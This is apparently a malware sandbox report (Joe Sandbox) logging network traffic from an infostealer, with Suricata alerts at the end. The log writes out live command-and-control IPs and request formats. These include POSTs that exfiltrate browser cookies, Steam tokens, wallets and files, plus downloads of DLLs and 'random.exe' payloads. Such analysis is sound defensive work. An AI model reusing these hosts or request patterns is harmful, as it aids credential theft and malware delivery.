Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGDBAFHJJDAKEBGCFCBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEGDBAFHJJDAKEBGCFCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="file"------CGDGCFBAEGDHJKEBGCBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKFHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file"------IDHDGDHJEGHIDGDHCGCB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"wallets------BFBGHDGCFHIDBGDGIIIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="message"files------GIJJKKJJDAAAAAKFHJJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file"------HIIDGCGCBFBAKFHIJDBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"ybncbhylepme------EHDHIDAEHCFHJJJJECAA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECGDHDHJEBGHJKFIECBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 39 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006992001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 39 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006993001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 39 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006994001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 33 30 37 42 37 36 34 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="hwid"486307B7648C1730677652------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="build"mars------CAKKKJEHDBGIDHJKJDBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 39 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006995001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 39 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006996001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 33 30 37 42 37 36 34 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="hwid"486307B7648C1730677652------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="build"mars------DHIDHIEGIIIECAKEBFBA--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtejj5vs.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------VBejlJnFIZYuU6PKnx3BOOData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 56 42 65 6a 6c 4a 6e 46 49 5a 59 75 55 36 50 4b 6e 78 33 42 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 6f 7a 69 68 61 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2f 1a ca b3 5b da 1e 1e 9e b5 0c 41 77 ea e2 95 26 e5 89 f7 eb e0 bc 67 51 28 1f b1 e3 ed f1 40 98 aa 65 d2 71 87 16 f6 c4 66 03 5f 87 4f 29 98 c7 1f 69 e5 48 35 c4 7c 70 ad 57 64 a7 b5 2a 56 79 91 16 58 dd f1 67 9b 6f 59 a4 34 b7 76 a7 4a 6d 19 8d 19 db 8a 89 bd 79 28 51 da b0 d3 b0 33 b7 d9 3e a2 be 5f 0a 2c 07 3b b2 cd a3 49 6f 63 f0 e5 cd ef f0 06 aa 83 16 00 8b ff db bd 69 62 18 17 3c e0 5a a8 94 48 96 58 d6 c5 34 1a 05 4b 22 b5 b5 fd e8 99 31 20 0a 81 84 49 a9 e4 ce 58 19 7e 9f f5 37 a4 86 b9 13 a5 6c f1 26 35 2c cf d8 43 0d 0d 94 66 a3 b8 b0 f3 1c 2e 88 8b 86 3e 26 27 c5 3f 5e 21 40 cc 48 c6 1a 8f b3 85 ae e8 a3 3f 6a f5 a4 c2 70 a9 3b 03 0a 3b c2 ff fb 18 5a 7e 81 37 9a 33 1e 24 9d e3 95 1a 6a 1e 0d 11 3d f1 29 f9 40 2c 07 e6 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 56 42 65 6a 6c 4a 6e 46 49 5a 59 75 55 36 50 4b 6e 78 33 42 4f 4f 2d 2d 0d 0a Data Ascii: --------------------------VBejlJnFIZYuU6PKnx3BOOContent-Disposition: form-data; name="file"; filename="Xozihac.bin"Content-Type: application/octet-stream/[Aw&gQ(@eqf_O)iH5\|pWd*VyXgoY4vJmy(Q3>_,;Iocib<ZHX4K"1 IX~7l&5,Cf.>&'?^!@H?jp;;Z~73$j=)@,--------------------------VBejlJnFIZYuU6PKnx3BOO--

Source: Joe Sandbox View	IP Address: 20.1.248.118 20.1.248.118
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:60797 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:60970 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:61056 -> 31.41.244.11:80
